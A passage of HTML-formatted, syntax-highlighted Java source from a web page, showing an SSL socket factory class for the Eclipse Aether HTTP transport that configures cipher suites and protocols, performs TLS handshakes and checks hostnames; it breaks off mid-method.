class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e149\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e150\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e151\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e152\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e153\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e154\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e155\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e156\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e157\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e158\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e159\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e160\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e161\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e162\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e163\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e164\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e165\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e166\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e167\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e168\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e169\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e170\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e171\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e172\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e173\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e174\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e175\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e176\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e177\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e178\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e179\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e180\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e181\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e182\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003epackage\u003c/span\u003e org.eclipse.aether.transport.http;\u003cbr\u003e \u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.ConnectTimeoutException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.HttpInetSocketAddress;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.scheme.HostNameResolver;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.scheme.LayeredSchemeSocketFactory;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.scheme.LayeredSocketFactory;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.scheme.SchemeLayeredSocketFactory;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.conn.ssl.X509HostnameVerifier;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.params.HttpConnectionParams;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.apache.http.params.HttpParams;\u003cbr\u003e \u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.io.IOException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.net.InetSocketAddress;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.net.Socket;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.net.SocketTimeoutException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.net.UnknownHostException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.KeyManagementException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.KeyStore;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.KeyStoreException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.NoSuchAlgorithmException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.UnrecoverableKeyException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e java.security.cert.CertificateException;\u003cbr\u003e \u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.net.ssl.HostnameVerifier;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.net.ssl.SSLContext;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.net.ssl.SSLSocket;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e javax.net.ssl.SSLSocketFactory;\u003cbr\u003e \u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eSslSocketFactory\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eorg\u003c/span\u003e.apache.http.conn.ssl.SSLSocketFactory \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eSchemeLayeredSocketFactory\u003c/span\u003e,\u003cbr\u003e LayeredSchemeSocketFactory, LayeredSocketFactory \u0026#123;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e SSLContext sslcontext;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e javax.net.ssl.SSLSocketFactory socketfactory;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e HostNameResolver nameResolver;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-type\"\u003eX509HostnameVerifier\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ehostnameVerifier\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e BROWSER_COMPATIBLE_HOSTNAME_VERIFIER;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e String[] cipherSuites;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e String[] protocols;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eSslSocketFactory\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(SslConfig config)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e UnrecoverableKeyException, KeyStoreException, NoSuchAlgorithmException, KeyManagementException, CertificateException, IOException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e(getSocketFactory(config.context), getHostnameVerifier(config.verifier), config.cipherSuites,\u003cbr\u003e config.protocols);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e SSLSocketFactory \u003cspan class=\"hljs-title function_\"\u003egetSocketFactory\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(SSLContext context)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e (context != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) ? context.getSocketFactory() : (SSLSocketFactory) SSLSocketFactory.getDefault();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e X509HostnameVerifier \u003cspan class=\"hljs-title function_\"\u003egetHostnameVerifier\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(HostnameVerifier verifier)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e (verifier != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) ? X509HostnameVerifierAdapter.adapt(verifier)\u003cbr\u003e : org.apache.http.conn.ssl.SSLSocketFactory.BROWSER_COMPATIBLE_HOSTNAME_VERIFIER;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eSslSocketFactory\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(SSLSocketFactory socketfactory, X509HostnameVerifier hostnameVerifier,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e String[] cipherSuites, String[] protocols)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e UnrecoverableKeyException, KeyStoreException, NoSuchAlgorithmException, KeyManagementException, CertificateException, IOException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003esuper\u003c/span\u003e(defaultKeyStore());\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.sslcontext = \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory = socketfactory;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.nameResolver = \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.setHostnameVerifier(hostnameVerifier);\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.cipherSuites = cipherSuites;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.protocols = protocols;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e KeyStore \u003cspan class=\"hljs-title function_\"\u003edefaultKeyStore\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e()\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e KeyStoreException, CertificateException, IOException, NoSuchAlgorithmException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eKeyStore\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etrustStore\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e KeyStore.getInstance(KeyStore.getDefaultType());\u003cbr\u003e trustStore.load(\u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e, \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e trustStore;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprotected\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eprepareSocket\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(SSLSocket socket)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e IOException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (cipherSuites != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e socket.setEnabledCipherSuites(cipherSuites);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (protocols != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e socket.setEnabledProtocols(protocols);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e Socket \u003cspan class=\"hljs-title function_\"\u003ecreateLayeredSocket\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(Socket socket, String target, \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e port, \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e autoClose)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e IOException, UnknownHostException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eSSLSocket\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esslSocket\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e (SSLSocket) \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory.createSocket(\u003cbr\u003e socket,\u003cbr\u003e target,\u003cbr\u003e port,\u003cbr\u003e autoClose\u003cbr\u003e );\u003cbr\u003e prepareSocket(sslSocket);\u003cbr\u003e sslSocket.startHandshake();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier.verify(target, sslSocket);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// verifyHostName() didn\u0026#x27;t blowup - good!\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e sslSocket;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e Socket \u003cspan class=\"hljs-title function_\"\u003ecreateLayeredSocket\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(Socket socket, String target, \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e port, HttpParams params)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e IOException, UnknownHostException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eSSLSocket\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esslSocket\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e (SSLSocket) \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory.createSocket(\u003cbr\u003e socket,\u003cbr\u003e target,\u003cbr\u003e port,\u003cbr\u003e \u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e prepareSocket(sslSocket);\u003cbr\u003e sslSocket.startHandshake();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.hostnameVerifier.verify(target, sslSocket);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e// verifyHostName() didn\u0026#x27;t blowup - good!\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e sslSocket;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e Socket \u003cspan class=\"hljs-title function_\"\u003ecreateSocket\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(HttpParams params)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e IOException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eSSLSocket\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esock\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e (SSLSocket) \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory.createSocket();\u003cbr\u003e prepareSocket(sock);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e sock;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e Socket \u003cspan class=\"hljs-title function_\"\u003econnectSocket\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(Socket socket, InetSocketAddress remoteAddress, InetSocketAddress localAddress, HttpParams params)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e IOException, UnknownHostException, ConnectTimeoutException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (remoteAddress == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;Remote address may not be null\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (params == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;HTTP parameters may not be null\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eSocket\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esock\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e socket != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e ? socket : \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.socketfactory.createSocket();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (localAddress != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e sock.setReuseAddress(params.getBooleanParameter(\u003cspan class=\"hljs-string\"\u003e\u0026quot;http.socket.reuseaddr\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e));\u003cbr\u003e sock.bind(localAddress);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003econnTimeout\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e HttpConnectionParams.getConnectionTimeout(params);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esoTimeout\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e HttpConnectionParams.getSoTimeout(params);\u003cbr\u003e \u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e sock.setSoTimeout(soTimeout);\u003cbr\u003e sock.connect(remoteAddress, 